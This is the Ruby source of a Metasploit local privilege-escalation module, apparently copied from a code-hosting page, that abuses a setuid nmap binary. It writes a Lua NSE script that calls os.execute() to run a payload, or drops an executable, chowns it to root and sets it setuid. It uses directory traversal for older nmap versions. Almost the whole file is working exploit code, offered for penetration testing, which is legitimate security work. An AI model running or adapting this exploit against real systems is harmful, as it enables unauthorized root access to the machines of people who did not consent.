d5b165abbb
Notably, DisclosureDate is required for other module parsers, so let's not ignore those, even if you have to guess at the disclosure or call the module's publish date the disclosure date.
108 lines
3.5 KiB
Ruby
108 lines
3.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/file'
|
|
require 'msf/core/post/linux/priv'
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Common
|
|
|
|
def initialize(info={})
|
|
super( update_info( info, {
|
|
'Name' => 'Setuid Nmap Exploit',
|
|
'Description' => %q{
|
|
Nmap's man page mentions that "Nmap should never be installed with
|
|
special privileges (e.g. suid root) for security reasons.." and
|
|
specifically avoids making any of its binaries setuid during
|
|
installation. Nevertheless, administrators sometimes feel the need
|
|
to do insecure things. This module abuses a setuid nmap binary by
|
|
writing out a lua nse script containing a call to os.execute().
|
|
|
|
Note that modern interpreters will refuse to run scripts on the
|
|
command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
|
|
payloads will most likely not work.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'egypt' ],
|
|
'DisclosureDate' => 'Jul 19 2012',
|
|
'Platform' => [ 'unix', 'linux', 'bsd' ],
|
|
'Arch' => [ ARCH_CMD, ARCH_X86 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' =>
|
|
[
|
|
[ 'Command payload', { 'Arch' => ARCH_CMD } ],
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'BSD x86', { 'Arch' => ARCH_X86 } ],
|
|
],
|
|
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
|
|
'DefaultTarget' => 0,
|
|
}
|
|
))
|
|
register_options([
|
|
# These are not OptPath becuase it's a *remote* path
|
|
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
|
|
OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
|
|
OptString.new("ExtraArgs", [ false, "Extra arguments to pass to Nmap (e.g. --datadir)", "" ]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
stat = session.fs.file.stat(datastore["Nmap"])
|
|
if stat and stat.file? and stat.setuid?
|
|
print_good("#{stat.prettymode} #{datastore["Nmap"]}")
|
|
return CheckCode::Vulnerable
|
|
end
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
if (target.arch.include? ARCH_CMD)
|
|
p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
|
|
evil_lua = %Q{ os.execute("#{p} &") }
|
|
else
|
|
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
|
|
print_status("Dropping executable #{exe_file}")
|
|
write_file(exe_file, generate_payload_exe)
|
|
evil_lua = %Q{
|
|
os.execute("chown root:root #{exe_file}");
|
|
os.execute("chmod 6777 #{exe_file}");
|
|
os.execute("#{exe_file} &");
|
|
os.execute("rm #{exe_file}");
|
|
}
|
|
end
|
|
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
|
|
print_status("Dropping lua #{lua_file}")
|
|
write_file(lua_file, evil_lua)
|
|
|
|
print_status("running")
|
|
|
|
scriptname = lua_file
|
|
if (lua_file[0,1] == "/")
|
|
# Versions before 4.51BETA (December 2007) only accept relative paths for script names
|
|
# Figure 10 up-directory traversals is enough.
|
|
scriptname = ("../" * 10) + lua_file[1..-1]
|
|
end
|
|
|
|
begin
|
|
# Versions before 4.75 (August 2008) will not run scripts without a port scan
|
|
cmd_exec "#{datastore["Nmap"]} --script #{scriptname} -p80 localhost #{datastore["ExtraArgs"]}"
|
|
ensure
|
|
cmd_exec "rm -f #{lua_file} #{exe_file}"
|
|
end
|
|
|
|
end
|
|
end
|
|
|